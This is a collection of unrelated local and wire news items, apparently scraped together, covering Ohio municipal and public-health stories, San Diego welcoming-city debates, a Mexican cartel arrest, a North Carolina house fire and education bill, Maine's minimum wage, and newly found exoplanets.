The developer said he wants to build rental housing compliant with Americans with Disabilities Act and work with local organizations focusing on the area and find the tenants.

The Betzstone project will show what types of homes they want to build, Holt said, and help build relationships with existing companies and groups.

When I was driving through the community, researching Mansfieldthere are a lot of different individual landlords. I think there's a lot of competition in the regular rental market, Holt said.

And I think this is an underserved market (ADA-compliant housing). We can provide some housing and fill a need.

In addition, the land bank agreed to sell Belmont Community Church salvage rights to seven pieces of playground equipment at Hamilton and Betzstone Parks for $1,000.

Amy Hamrick, the land banks manager, said the church plans to place the equipment across the street from its location on Belmont Avenue. The church also owns that parcel and wants to create a new park there.

Hamrick said the project would benefit the community because nearby Julia Underhill and Hamilton Parks will close soon.

The board also approved to transfer two parcels on Longview Avenue to the North End Community Improvement Collaborative for $500 plus the recording fee on Wednesday.

Deanna West-Torrence, founder and executive director for NECIC, told Richland Source that the organization has been assembling parcels in that area for its affordable housing project.

She said NECIC has been working with consultants to move the project forward, but it is not ready to share further information.
MADISON TOWNSHIP  A reorganization plan from Purdue Pharma was approved by Madison Township trustees on Monday afternoon, paving the way for the township to potentially receive future opioid settlement funds.

According to an FAQ regarding the reorganization plan from Purdue, before filing for a Chapter 11 bankruptcy in 2019, the company faced more than 2,900 lawsuits in the U.S. for developing and marketing OxyContin.

The medication has allegedly exacerbated the opioid crisis.

In March, Purdue filed the plan worth more than $10 billion at a U.S. Bankruptcy Court in New York, according to multiple national news outlets. A federal bankruptcy judge has permitted the OxyContin maker to get the required votes for the reorganization plan from 600,000 creditors.

According to Purdues FAQ, Madison Township and other 6,000 local governments, have filed claims against Purdue last July and are eligible to vote on the proposed bankruptcy plan.

Leanna Rhodes, fiscal officer for Madison Township, said the Richland County Prosecutors Office recommended the township to take Monday's action.

After the vote on Monday, Trustee Catherine Swank said the amount of money the township will receive remains unknown at the moment.

The township did not plan to file a claim against Purdue last year after then Fire Chief Ron Luttrell said the department had no major issue getting Narcan, the medication used to treat overdose, according to Rhodes.

However, the township changed its mind after the county prosecutors office provided an estimated claim from economists. According to the economists opinion, Madison Townships estimated damage and abatement cost from 2003 through 2040 resulting from the opioid crisis will be more than $540,000.

The estimates were based on various categories such as drug treatment programs expense and tax revenue loss, according to the estimate.

Andrew Keller, chief civil assistant prosecutor for Richland County, said in an email on Tuesday that Madison Township was eligible to file a proof of claim in Purdues bankruptcy because trustees are members of the nationwide class action opioid litigation against several opioid drug manufacturers.

Keller said the township did not make a specific monetary claim when participating as a member of the class.

Richland County commissioners recently also voted to support Purdues reorganization plan, according to Keller.

Purdue has divided the claims against the company into 18 classes, according to the FAQ. Two-thirds of the members in each class must vote for the plan to get it approved. The bankruptcy court has scheduled a confirmation hearing on August 9, which Purdue will officially announce the voting results.

While the money local governments will receive is unclear now, Purdue estimated that Ohio will get more than 4.3 percent of the settlement funds, ranked sixth among the country. California will likely get the most funds at almost 10 percent. Florida is expected to receive 7 percent of the money.

According to Purdues FAQ, the money will flow through the National Opioid Abatement Trust, which was established to allocate the funds, and support approved abatement uses.
MANSFIELD -- It doesn't appear Mansfield and Richland County will lose its status as a Metropolitan Statistical Area, which should mean the continued flow of millions of federal dollars in the future.

In January, the White House Office of Management and Budget announced it was considering changing requirements for the MSA designation.

The change would have doubled the current population requirement from the current 50,000 to 100,000 for the city anchoring the metro area.

However, U.S. Sen Rob Portman (R-Ohio) announced Tuesday via email that OMB has dropped the proposal, citing his own efforts "to ensure fairness for smaller metropolitan areas."

"Communities in Ohio and across the United States count on this designation for federal funding that goes towards important programs," Portman said.

"The proposal would have threatened access to vital federal resources for nearly 150 communities across the country, including five in Ohio," the senator from Cincinnati said.

Communities in Ohio that would have been affected by this change include Mansfield. Lima and Springfield, as well as the Weirton-Steubenville and Wheeling, W.Va.-Ohio metropolitan areas.

Mansfield Mayor Tim Theaker said Wednesday he was pleased with the decision.

"The City of Mansfield relies on state and federal dollars to help with projects and improvements to the area. It was suggested and discussed by government officials, that if Mansfield was reclassified, there would be monies the city would not qualify for or not receive," Theaker said.

The mayor said many local elected officials and business leaders lobbied to keep the current rules in place.

"We are moving Mansfield forward and want to continue to make it a place where people want to work, worship, play and raise a family. It is my goal to continue improving Mansfield and the community. With continued government funding we can do just that," Theaker said.

Jotika Shetty, executive director of the Richland County Regional Planning Commission, sldo praised the OMB decision to drop the change.

"This was anticipated to have a significant impact on the City of Mansfield potentially changing the eligibility for federal funds in Community Development Block Grant, HOME and other programs used to support housing and social services within the city," Shetty said Wednesday.

"These programs assist the most vulnerable populations, including the homeless, jobless, disabled, and people with low incomes. As we struggle with the economic downturn and social turmoil caused by COVID 19, the loss of funding could have further hindered the capacity to rebuild and heal," Shetty said.

"Retaining our MSA status will continue to position Mansfield as a regional center to attract strong economic and real estate growth," Shetty said.

Jodie Perry, president/CEO at Richland Area Chamber & Economic Development, said she was thrilled to hear the news on Tuesday.

"We had heard a month ago that they were taking a closer look at it with the new administration coming in," she said. "There was some evidence it was being paused and to hear it was cancelled was great news," Perry said Wednesday.

"For a community of this size to lose funding at this point in time would have been catastrophic," Perry said. "The data that comes with the MSA designation will help us and the funding will allow us to continue to rebuild in the county."

The OMB announcement followed Portmans introduction of the bipartisan Metropolitan Areas Protection and Standardization Act (MAPS) to help protect communities across the country from the possible consequences of the proposed change.

Last month, community leaders across Ohio voiced their support for the MAPS Act, Portman said.

Thanks to our hard work and the widespread support for the bipartisan MAPS Act, which would have required OMB to provide a public report to Congress estimating the county-level impact and justifying the scientific basis for any proposed change to an existing statistical area standard, we have protected communities across Ohio and the entire country," Portman said.

MSAs were created to standardize and identify the nations largest centers of population and activity. Metropolitan and non-metropolitan designations are used by agencies across the federal government to determine eligibility for funding and services. However, the federal government has not provided a full analysis of which programs use this designation.

While losing MSA status may not necessarily result in a loss of federal funds, the uncertainty is concerning and warrants careful deliberation of unintended consequences of the proposed redesignation, Portman said.

Mansfield's population, according to the U.S. Census slipped below 50,000 almost 15 years ago and is now around 46,600. But city officials almost a decade ago worked a deal with the feds to make sure Mansfield remained eligible for programs that benefit low- to moderate-income residents.

At the time of the OMB proposal six months ago, Adrian Ackerman, community development and housing director for Mansfield, said the city receives just more than $1 million annually in Community Development Block Grant and HOME Investment Partnerships Program through the U.S. Dept. of Housing and Urban Development.

"I haven't seen for sure anything that is an immediate threat to the federal grants," Ackerman said earlier this year. "Our main concern is changing the designation that could eventually lead to the government seeking to change the grant status.

In recent years, these federal dollars have gone to improving local neighborhoods and assisting homeowners and also to groups like Mansfield Metropolitan Housing, Catholic Charities, Richland County Transit, Area Agency on Aging, Harmony House and Mansfield UMADAOP, all of whom provide direct assistance to residents.

There are also concerns losing the MSA designation could impact the area's ability to attract new companies and business investment. Mansfield was ranked seventh in the nation in 2020 for new business investment for cities its size.

Perry said earlier this year many local elected leaders, business leaders and those run who run local organizations and nonprofits wrote letters to OMB in opposition to the change.

She said U.S. Rep. Troy Balderson and U.S. Rep. Bob Gibbs, both of whom represent parts of Mansfield/Richland County, wrote letters, as Portman and U.S. Sen. Sherrod Brown.

In their joint letter, sent earlier this year, Balderson and Gibbs said Mansfield is the catalyst for economic development in the region.

"The potential loss of federal funding would negatively impact the investment the community has made in economic development in the region," the congressmen wrote.

"They have tirelessly worked to expand businesses, bring jobs into the area, and ensure economic success in the region for years to come. Given the negative consequences this would bring to Ohio, we strongly and respectfully request you reconsider these proposed changes to the MSA minimum population threshold," Balderson and Gibbs said.
MANSFIELD -- Richland County commissioners voted Tuesday to maintain the same percentage of "excessive sales tax" it shares with cities, villages and townships in 2022.

Commissioners, who had twice in recent years reduced the amount they share, cautioned the county's 27 political subdivisions it may reconsider the amount shared for 2023.

In 1989, commissioners put a sales tax increase on the ballot, agreeing to share some of that revenue with other political subdivisions in the county in exchange for their support of the issue.

The amount shared with each governmental entity depends on the amount of road mileage in each city, village and township -- at the rate of about $1,500 per mile.

Based upon that, the county contractually shares about $1.4 million annually.

The "excess amount" the county will share in 2022 is an additional $582,109, commissioners said, adding that Washington County is the only other of the state's 88 counties sharing "excess" sales tax revenue.

"It''s the age-old debate as to what is the definition of excess," Commissioner Tony Vero said. "We have taken the approach that when it comes to budgeting, we look at the big picture."

He said that means if commissioners, during the annual budgeting process, ask county departments to reduce spending that it would be "inequitable" not to reduce the amount of "excess" revenues it shares with cities, villages and townships in the county.

"Coming out of COVID, it would be nice to cities, townships and villages not to (reduce the amount)," Vero said.

Commissioner Darrell Banks agreed.

"They are hurting coming out of COVID, so I would agree to not make any changes (in 2022). But we are giving fair warning that we will look at it closely next year," Banks said.

Also on Tuesday, commissioners asked Joe Trolian, executive director of Richland Mental Health & Recovery Services, to delay seeking the appointment of Mansfield attorney Jeff Heck to the organization's 14-member board.

Commissioners said they were not comfortable approving the appointment while Heck is representing an entity currently suing the county and the commissioners. They said it could be considered a conflict of interest.

"I would like Jeff to be on the board at some point," Vero said. "I would like to have him come onto the board when he doesn't have litigation ongoing against the board of commissioners."

Trolian said he would speak with Heck and explain commissioners' concerns.
RICHLAND COUNTY -- Richland Public Health has announced the return of neighborhood immunization clinics.

The program, which brings child and adult immunizations to locations throughout Richland County, was halted in March of 2020 due to coronavirus safety protocols.

Neighborhood immunization clinics offer an opportunity to bring individuals up-to-date on their recommended vaccinations. Public health nurses visit sites throughout Richland County that may be more convenient.

Public health officials across the United States have indicated many children are behind on their routine immunizations due to the pandemic.

Neighborhood immunization Clinics offer an excellent opportunity to catch-up on needed childhood vaccinations. In addition, some vaccinations are required for returning to school or college. Adult immunizations are available, but adults are asked to call first to make sure of vaccine availability.

A childs up-to-date shot record and insurance card is required at Neighborhood immunization clinic locations.

Richland Public Health participates in the federally-funded "Vaccines for Children" program. There is no charge if unable to pay. Medicaid and Medicaid Managed Care Plans are accepted. Most private insurance companies are billed. Children must be accompanied by a parent/legal guardian or another adult with written permission from the parent.

For questions about Neighborhood immunization clinics and pricing for certain vaccines, call 419-774-4700.

COVID-19 vaccinations for ages 18 and older will also be available at neighborhood immunization sites. CDC recommends everyone 12 years and older should get a COVID-19 vaccination as widespread vaccination is a critical tool to help stop the pandemic.

To find a COVID-19 vaccination site for children ages 12 through 17 years of age please go to gettheshot.coronavirus.ohio.gov or book by phone: 1-833-4-ASK-ODH (1-833-427-5634).

There are 13 neighborhood immunization clinics scheduled for the months of August, September, October, November and December at seven different locations.

The entire schedule is available at https://richlandhealth.org/personal/child-and-adult-immunizations/ or by clicking on the events listing in the main menu at richlandhealth.org. The schedule is also available on the 24-hour immunization hotline at 419-774-8115.

Neighborhood Immunization Clinics start on July 21 and will continue until December 15 barring a return to COVID-19 safety shutdowns announced by the Ohio Department of Health. Neighborhood Immunizations Clinics are partially funded by local tax dollars.

Immunizations are also available at the Richland Public Health Clinic, 555 Lexington Ave., Mansfield. Call 419-774-4700 to schedule an appointment.
MANSFIELD  The 33.9 million cases of COVID around the world kept eyes glued to television and computer screens for 15 months. However, what wasnt accounted for was the unusual amount of flu cases reported.

In Richland County, a total of six flu cases were reported during the flu season from October 2020 to March 2021.

In 2021, we had one case of influenza A [and] five cases of influenza, B for a total of six. No hospitalizations, said Richland Public Health educator Reed Richmond.

Richmond credits people wearing a mask, social distancing, not gathering in crowds and frequent handwashing as factors to keeping flu cases low. The other major factor in decreasing cases was more children attending school remotely, rather than in person.

The fact that we didn't have kids in school full time definitely reduced a number of cases, because it reduces the spread among the adult population, as well, Richmond said.

In the prior year, Richland County had a total of 1,282 flu cases, with 94 hospitalizations.

In the past 20 years, Richland County had 46 deaths a year on average from flu or pneumonia, according to Reed Richmond.

Nationwide, the Centers for Disease Control, reviewed the 2020-2021 data from this past season and found the lowest number of hospitalized patients across the country.

OhioHealth hospital systems had three positive flu tests compared to 331 in March 2020 of that same week.

We were very worried going into this winter that we might see a surge in both COVID and flu, and the fact that we did not see a surge, in fact, we saw a significant decrease in flu, was really a benefit to our hospitals as far as resource management. And it was obviously a benefit to the community, who didn't see as much respiratory illness due to the flu, said Vice President of Medical Affairs Dr. Gavin Baumgardner at OhioHealth Mansfield and Shelby Hospitals.

Similar to Richland County, Knox and Ashland County saw drops in flu cases. In fact, there were no reported cases for the 2021 season in either county.

Starting in October through the beginning of this year there have been no influenza cases reported and nobody hospitalized with influenza, said Pam Palm, Knox Public Health public information officer. That has never happened as long as we've been [keeping track of] inflammation. There's never been a time when we've not had a flu case.

According to our Director of Nursing, not very many people were actually even testing for influenza because COVID was the overriding thing that we were seeing cases of, so when somebody came in with respiratory symptoms [Covid] was usually what they got tested for," Palm said.

Though it was unusual not to record any flu cases in the 2020-21 season, there was also a limited testing for influenza and health officials concentrated on COVID-19. The Knox Community Hospital conducted complete respiratory panels on patients presenting with respiratory issues, but not testing positive for COVID-19.

What we saw in Knox County last year was not unusual compared to other counties in Ohio, Palm said. The precautions put in place to prevent the spread of COVID-19  specifically facial coverings, social distancing, frequent hand-washing, surface cleaning and size limits on gatherings  helped to also prevent the spread of the flu.

The Knox County Health Department also heard comments from the public, as well as staff, that families saw less of the common cold and allergy reactions. Palm said she wouldnt be surprised if she saw more people wearing masks during future flu and cold seasons, especially for those who are most susceptible such as the elderly and immune-compromised.

Many factors played a role in the low amount of flu cases the world saw this past flu season. However, it brings to question what the upcoming season could look like. As October approaches, Richmond projects Richland County could see a spike in flu cases.

One of the things that didn't happen is we didn't put up our immunity against the common flu So there's a chance that the flu could be really bad this year because people are more susceptible to it, Richmond said.

We just go from what we hear from other sources, Richmond said. Medical experts are saying that this can be a really bad season So when people who are experts are saying those types of things in public, that's kind of a heads up for local health departments that things could be getting bad.

According to Baumgardner, since the flu shot changes each year that could provide challenges this year of predicting the flu strains in this flu season next year.

The World Health Organization, the CDC and other agencies use predictive modeling to design the flu shot because the flu shot is usually a combination of different strains of the flu Baumgardner said. With the strains that we use, because we had so few cases this year, that actually makes it more challenging for those agencies to accurately predict what next year's flu season might look like.

Although theres uncertainty, continuing to get the annual flu shot each year is still a good preventative measure, according to Richmond.

You're better off getting [a flu shot] in October than getting it too early because it'll keep you protected for peak flu season, which really doesn't happen until after the new year. So, get your flu shot by the end of October. You should be protected from flu season, Richmond said.
Richmond, KY (40475)

Today

Sunshine and some clouds. A stray shower or thunderstorm is possible. High 86F. Winds NE at 5 to 10 mph..

Tonight

Partly cloudy skies during the evening will give way to cloudy skies overnight. Low 63F. Winds NE at 5 to 10 mph.
Rocky Mount, NC (27804)

Today

Rain and thunderstorms. High 74F. Winds light and variable. Chance of rain 90%. Rainfall near an inch..

Tonight

Mostly cloudy with showers and a few thunderstorms. Low 68F. Winds light and variable. Chance of rain 60%.
Rocky Mount, NC (27804)

Today

Rain with thunderstorms by evening. High 74F. Winds light and variable. Chance of rain 90%. Rainfall near an inch..

Tonight

Thunderstorms in the evening, then variable clouds overnight with still a chance of showers. Low 68F. Winds light and variable. Chance of rain 60%.
Rutland, VT (05701)

Today

Rain showers early with some sunshine later in the day. High 78F. Winds light and variable. Chance of rain 50%..

Tonight

A few clouds from time to time. Low 62F. Winds light and variable.
Stoneham - Barbara Hill Millett, age 93 of Stoneham, MA passed away on July 12, 2021. She was a loving wife, mother, sister, grandmother, and friend. She was the daughter of Frederick Thayer Hill and Ruby Choate Hill, and grew up in Waterville and Rockland, ME. She attended Colby College whe
Meet the Hillcrest Business Owners Who Helped Shape the 'Gayborhood'

Mo's Universe, Crest Cafe, and Rich's have been there since the beginning
While many states are closely monitoring national talk on sanctuary cities and the threats against them by the Trump Administration, local municipalities are considering other options.

Currently no cities in San Diego County have identified themselves as sanctuary cities.

However, Encinitas, Lemon Grove and Solana Beach have passed proclamations declaring themselves welcoming cities, focused on helping newly arrived immigrants and refugees assimilate into their communities.

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Welcoming cities differ from sanctuary cities, in that sanctuary cities involve local law enforcement and immigration enforcement. Welcoming cities encourage the integration of immigrants into the community but do not offer special protections from immigration enforcement.

In South County, three cities are approaching the issue differently.

Residents Ruth Cole, Kyle Edwards and Michelle Huffman speak at the Sept. 21 Imperial Beach City Council meeting.

Last September, Imperial Beach retracted an August proclamation by its mayor in support of being a welcoming city for refugees, immigrants and asylum seekers.

Imperial Beach Mayor Serge Dedina read the proclamation during an Aug. 17 meeting last year, but received backlash from the community for not first vetting it with the public and City Council.

Dedina said while his intentions in reading the proclamation were good, he should have had the council pass it as a full resolution.

City Manager Andy Hall said there are no plans to discuss it further at this time.

National City passed a draft resolution on Jan. 17 with a 3-2 vote in support of becoming a welcoming city for all residents, regardless of their immigration status.

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Mayor Ron Morrison and Councilman Jerry Cano voted against it.

National City police Chief Manuel Rodriguez said as far as the Police Department is concerned, the term sanctuary city is a political one that doesnt afford anybody added protection.

He said being a welcoming city is something the city has done and will continue to do.

The only time immigration becomes an issue is when someone is involved in criminal activity, Rodriguez said. Its a tool to ensure that people are held accountable for their actions.

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Councilwoman Alejandra Sotelo-Solis asked for a resolution to be drafted based on the urging of Alliance San Diego, a community organization that builds coalitions to promote justice and social change.

The heart of this resolution is saying that we will...have people to be that pillar of support if you need it, regardless of your immigration status, she said.

Councilman Albert Mendivil agreed. Were already a welcoming city, this just puts in writing, he said.

Council members are expected to consider a formal resolution at their Feb. 7 meeting.

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In Chula Vista, city officials are looking into both designations.

Mayor Mary Casillas Salas asked the city attorney work with the city manager and Police Department to prepare a report on sanctuary cities.

Its expected to include applicable city and state laws, what local jurisdictions are doing, as well as options and consequences to each option provided.

City Attorney Glen Googins said hell return to council with the report mid-March at which time he said he expects to receive direction from the City Council for some form of a resolution.

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Chula Vista Police Chief Roxana Kennedy made comments at the Jan. 10 council meeting where it was discussed.

I want to make sure that our City Council and our community members understand public safety is the primary concern of the Chula Vista Police Department, not immigration, Kennedy said.

She also said the Police Department does not enforce federal law, and its not their job to do so.

If you are in Chula Vista and you are obeying the law then you have nothing to worry about. she said.
Soldiers escort alleged drug trafficker Jose Gerardo Alvarez-Vasquez, known as El Indio, as he is presented to the press in Mexico City, Thursday, April 22, 2010. Alvarez-Vasquez was arrested Wednesday night, along with 15 other suspected drug traffickers, during a shootout with soldiers in a neighborhood outside Mexico City that left two alleged gunmen dead, according to federal authorities. (AP Photo/Eduardo Verdugo) ( / AP)

Troops battled a suspected drug gang in a wealthy neighborhood on the outskirts of Mexico City and captured an alleged major trafficker with a $2 million U.S. bounty on his head, officials announced on Thursday.

Jose Gerardo Alvarez Vazquez - known as El Indio or El Chayan - is suspected of being responsible for a spike in violence in states near the capital as part of a struggle for control of the Beltran Leyva drug cartel, the military and the federal Attorney Generals Office said.

Authorities said Alvarez Vazquez, 45, was arrested along with 14 other suspected drug traffickers during a Wednesday night shootout in Huixquilucan, just west of the capital.

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Three died in the shooting and two alleged traffickers were wounded. Investigators did not say whether the dead were soldiers or suspected drug dealers. The military said it seized more than a dozen guns and a grenade.

Cases such as this show the Mexican governments firm decision to continue fighting narcotraffickers, the Attorney Generals Office said in a written statement. Among those arrested was Ascencion Sepulveda Salto, also known as El Gato, believed to be a powerful cartel lieutenant in Guerrero state.

The U.S. State Department says Alvarez Vazquez is a key member of the Arturo Beltran Leyva drug cartel and that he has overseen major deals involving crystal methamphetamine and other drugs between Mexico, Central America, South America and the U.S.

He was indicted on four drug-related counts in 1997 in the Southern District of California and the State Department had issued a $2 million reward for information leading to his arrest and conviction.

This significant arrest is another demonstration of the commitment and efforts being made by the Mexican government to disrupt and dismantle these violent drug trafficking organizations and bring their leaders to justice, said Paul E. Knierim, a U.S. Drug Enforcement Administration spokesman.

Mexican Gen. Edgar Luis Villegas Melendez said Alvarez Vazquez had partnered with Edgar Valdez Villarreal, a U.S.-born enforcer known as La Barbie, in his quest for control over the Beltran Leyva cartel.

Authorities say a battle for the cartel began after Mexican marines killed drug kingpin Arturo Beltran Leyva during a December shootout at an upscale apartment complex in Cuernavaca, south of Mexico City. The struggle for power has triggered dozens of killings in Morelos state, where Cuernavaca is located, and in neighboring Guerrero, authorities say.

The arrest of Alvarez Vazquez and Sepulveda Salto significantly affects the operations and security of the Beltran Leyva organization, Villegas Melendez said.

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U.S. Ambassador Carlos Pascual congratulated Mexico for Alvarez Vazquezs arrest in a statement Thursday.

Alvarez Vazquezs capture again shows Mexicos determination to fight organize crime, Pascual said.

At least seven major drug cartels operate in Mexico and an estimated 22,700 people have been killed in Mexicos drug war since December 2006, when a stepped-up military crackdown on the cartels began.

In the border city of Ciudad Juarez, authorities said they have arrested a gang member who allegedly participated as a lookout in the March 13 killing of an American woman who worked at the U.S. consulate in Ciudad Juarez, her husband and another man married to a Mexican consulate worker.

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Chihuahua state authorities said in a statement Thursday that the gang member was arrested along another four men who belong to the Aztecas gang.

A suspect arrested in the killings last month told investigators his gang was hunting for El Paso jail officer Arthur H. Redelfs who was married to U.S. consulate worker Lesley A. Enriquez.

Authorities say the Aztecas work for the Juarez drug cartel on both sides of the border.
Efforts are underway to provide assistance to a Sanford family who lost most of their belongings in a Monday fire.

The fire at 2129 Hearthstone Drive was reported at 11:14 a.m., according to Deputy Chief Ken Cotten of the Sanford Fire Department.

The one-story duplex rental home is at the corner of Burns Road and was occupied by Nikki Emerson and her two daughters, Cotten said.

Emerson was at work at Small Hands Big Future Childcare when the fire started on the stove. The older daughter got her sister safely outside, Cotten said.

She returned to rescue the familys pet, according to Cotten.

No injuries to the girls, the dog or Sanford Fire Department firefighters who responded were reported, he said.

Heavy fire and smoke were visible when firefighters arrived on the scene, Cotten said.

The blaze was brought under control, but most of the familys belongings were lost, the result of smoke and water damage, Cotten said.

The other residence in the duplex sustained fire and water damage and the lone occupant had to evacuate, according to Cotten.

Firefighters were on the scene for about 2.5 hours, Cotten said, and the Red Cross was called to assist the residents.

The property is owned by EWT 70, LLC, according to Lee County tax records. The LLCs home office is in Concord, New Hampshire, according to N.C. Secretary of State records.

A donation drive was set up Monday afternoon at B.T. Bullock Elementary School, where one of Emersons daughters is enrolled.

The drive was set to end by 2 p.m. Tuesday so the donations could be delivered to the family, according to Assistant Principal Salvatore Cosimo.

However, no donations will be turned down, he said.

There have been a lot of donations, Cosimo said. Its been a very good response.

Emersons co-workers at Small Hands Big Future Childcare also are accepting donations on behalf of the family, according to the facilitys Facebook page.

One of our teachers suffered the tragic loss of her home today, the child care center posted Monday.

The co-workers are at collecting gift cards that can be used to replace clothing, food and other property lost in the fire.

Visa and Master Card gift cards are being accepted, the post said. They can be dropped off at Small Hands Big Future Childcare, 1112 Broadway Road.
El Refugios annual Community Summer Fest starts next week, with a string of free events designed to bring people in Sanford together.

The festival kicks off Tuesday with cooking and painting classes, then continues throughout the week with bingo, tours of Central Carolina Community College and dance classes.

Its meant to kind of bridge different communities together and really create a diverse environment, said Yazmin Risano, an intern at El Refugio. Its a cross-cultural event.

Classes and other events will be held in both English and Spanish, she added.

The nonprofits goal this year to reach out to community at different locations, Risano said. In previous years, the festival was held at one central location, the El Refugio office. This year, events will be held at a variety of places across town.

Our hope is that people in the community become aware of the resources we have at El Refugio, Risano said. And just interact with people so that they can learn from each other.

Risano said staff also want to encourage people who feel comfortable reconnecting in person to do so. As the coronavirus pandemic eases, the nonprofit will be giving out goodie bags with masks, hand sanitizer and flyers about symptoms of COVID-19 and local vaccine availability.

We know people have been in their homes and theyve been afraid to go into the community, Risano said. Were hoping this will bring people out of their shells and into the community and really showcase places they might not be aware of.

(People) just have to bring themselves and a good attitude and well have a good night.

Here is the schedule for El Refugios 2021 Community Summer Fest:

 Cooking Vegetarian Chili with Susie, Tuesday, 5:30-6:15 p.m., El Refugio, 407 W. Main St., Sanford;

 Cook Mexican Sopes with Oli, Tuesday, 6:15-7 p.m., El Refugio, 407 W. Main St., Sanford;

 Paint Class for Kids with Bebe, Tuesday, 5:30-7 p.m., El Refugio, 407 W. Main St., Sanford;

 Loteria! (Mexican Bingo), Wednesday, 5:30-7 p.m., Eyelight Coffee & Comics, 122 W. Main St., Sanford;

 CCCC Morning Tour, Thursday, 10 a.m., 1105 Kelly Drive, Sanford;

 CCCC Afternoon Tour, 5:30 p.m., 1105 Kelly Drive, Sanford;

 Introduction to Flamenco Dance Class, 5:30-7 p.m., MINA Charter School, 2732 Industrial Drive, Sanford; and

 Introduction to Mexican Folk Dance Class for Kids, 5:30-7 p.m., MINA Charter School, 2732 Industrial Drive, Sanford.
(The Center Square)  The North Carolina Senate is considering a bill that will prohibit K-12 schools from promoting certain ideologies about racism and discrimination.

The legislation stems from the partisan disagreement over how the history of racism in American should be taught in schools.

Republicans said the bill would limit "indoctrination" of critical race theory. Democrats said it would hide the truth about racism.

"I oppose it, and I will combat it with everything that I have because I believe the doctrine undoes the framework that produced the most successful ongoing experiment in self-government in the history of mankind," Senate Leader Phil Berger, R-Rockingham, said Wednesday during a news briefing.

Critical race theory is centered around the idea that race is a social construct used to oppress people of color, according to Encyclopedia Britannica. The theory, developed by legal scholars in the late 1970s and 1980s, concludes racism in America is systemic.

The theory gained new notoriety in response to the 1619 Project, a New York Times multimedia piece that connects slavery to capitalism.

Former President Donald Trump pushed back against curriculum that stemmed from the 1619 Project, announcing he would create the 1776 Commission to combat "anti-American historical revisionism" and "critical race theorists" in October. It later was canceled by President Joe Biden.

Twenty-six states have considered policies to regulate how racial history can be taught, according to Education Week.

The North Carolina House approved its version of House Bill 324, 66-40, on May 15. The proposal came after Charlotte-Mecklenburg Schools assigned a book that suggests society is passively racist for summer reading to students.

Members of the Senate Committee on Education/Higher Education reviewed the Senate version of the measure Wednesday.

The House version prohibits schools from teaching the race superiority and that people and the country are inherently racist or sexist. It blocks schools from teaching students to stereotype others as morally corrupt or prejudice based on their skin color or sex. The House version also stops schools from making students "feel guilt or anguish" because of their race, sex or actions of others in the past.

Berger's amended version of the bill also blocks schools from encouraging the idea that America was created by a certain subgroup to oppress others. It doubles down on prohibiting stereotypes, and it bars schools from promoting overthrowing the U.S. government.

Berger said critical race theory goes against the U.S. Declaration of Independence, Lincoln's Gettysburg Address, the 14th Amendment to the Constitution and the Civil Rights Act of 1964.

Senate Democrats, however, said the bill counters Americans' freedom of speech rights and limits critical thinking.

"I think if censorship in the classroom here teaches us anything, I think it's unAmerican," said Sen. Jay Chaudhuri, D-Wake.

Parents and teachers spoke in favor of the bill during Wednesday's committee meeting. They said political theories and personal views should not be encouraged in schools.

American Civil Liberties of North Carolina activist Christy Puckett Williams said the measure stops students from developing the "emotional intellect to handle difficult conversations." Sen. Joyce Waddell, D-Mecklenburg, agreed.

"The most recent version of House Bill 324 incites a fear-based approach to limit teacher's ability to assess the real reality of racism in the United States, and it would limit student engagement with history, current events and personal health, as well as their social and emotional learning," Waddell said.

Senate committees must review the latest version of the bill before forwarding it to the full Senate for a vote. The House then must approve the new version of the bill before it is sent to Gov. Roy Cooper.
Understanding the minimum wage in Maine is essential for all workers, especially those taking their first steps into the workforce or needing an entry-level position. The number helps you compare your needs to what a job offers. Plus, it gives you an opportunity to assess whether the compensation feels fair based on the amount of work involved and the nature of the tasks. If youre curious about the minimum wage in Maine, here is everything you need to know.

What Is a Minimum Wage?

In the simplest sense, the minimum wage is a dollar amount that represents the lowest per-hour pay rate a company can provide covered nonexempt employees.

Most workers qualify as nonexempt. The only exceptions tend to be specific young workers, full-time students, student learners, disabled workers. However, that all depends on the work arrangements and contracts involved.

Minimum wages come in several forms. First, there is a federal minimum wage, which represents the lowest amount per hour companies have to pay workers.

However, there can also be state, county, and city minimum wages. With these, states and municipalities can require a higher minimum wage in their area, but they arent allowed to set a lower per-hour rate than the federal minimum.

If a state or municipality minimum wage law lists a lower dollar amount, the federal minimum wage has to be followed. If the amount is higher, that is the per-hour rate companies are required to pay.

July 2009 was the last time the federal minimum wage was increased. At that time, it set the per-hour minimum at $7.25 per hour and $2.13 an hour for non-tip and tip workers, respectively. With tip workers, if their tips dont bring their per-hour average up to $7.25 per hour, the company must make up the difference. If the tips are sufficient, the company pays just $2.13 per hour worked.

What Is the Minimum Wage in Maine?

As of January 2021, the minimum wage in Maine is $12.15 per hour for non-tipped workers. For employees that receive tips, the minimum rate is $6.08 per hour. However, their tips do have to bring them to the $12.15 per hour rate. Otherwise, the employer is required to make up that difference.

Portland does have a separate voter-passed initiative. It aims to increase the citys minimum wage to $15 per hour by 2025. However, there have been some legal challenges. As a result, it isnt clear if or when changes to the minimum wage in Portland would occur.

Is the Maine Minimum Wage a Living Wage?

Generally speaking, a living wage is a per-hour earnings rate thats is sufficient to support households of various sizes. Usually, the estimates are for those working full-time, which is classically 40 hours per week or 2,080 hours a year.

For a single adult that doesnt have children, the living wage in Maine is listed as $14.92 per hour. For two adult households with two children where only one adult is working, the living wage is $32.41 per hour. If both adults in that household work, each adult would need to earn $21.14 per hour to hit the living wage. Based on those metrics, it would seem that the current Maine minimum wage wouldnt qualify as a living wage.

The only exception is two adult households without children. In that situation, if both adults worked full-time, $11.94 per hour is the living wage. However, for all other household sizes, the minimum wage is insufficient.

The Poverty Wage

If you look at the poverty wage, the picture is a bit different. For single adults with no children, the minimum wage in Maine is above the poverty wage, which is listed at $6.13 per hour for that household type. For households with two working adults and two kids, the minimum wage also exceeds the poverty wage, which is $6.30 per hour.

However, it falls short for households with two adults and two children when only one adult works, where the poverty wage is $12.60 per hour. That means that household would be living below the poverty level if there was only one adult earner making minimum wage.

Do you think the minimum wage in Maine is in the right spot? Do you think it needs to be higher? Share your thoughts in the comments below.

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Four newly discovered planets located 130 light-years from Earth are in their 'teenage' years and could provide scientists with valuable information about Earth's early years.

TOI 2076b, TOI 2076c, TOI 2076d, and TOI 1807b are exoplanets orbiting the stars TOI 2076 and TOI 1807.

According to the study's principal author, Christina Hedges, the newly discovered planets are larger than Earth, ranging between two and four times the size of our planet. They are still in the 'transitional' phase of their lifecycles.

"The planets in both systems are in a transitional, or teenage, phase of their life cycle," Hedges, an astronomer at the Bay Area Environmental Research Institute and NASA's Ames Research Center, said in a statement.

"They're not newborns, but they're also not settled down. Learning more about planets in this teen stage will ultimately help us understand older planets in other systems," Hedges added.

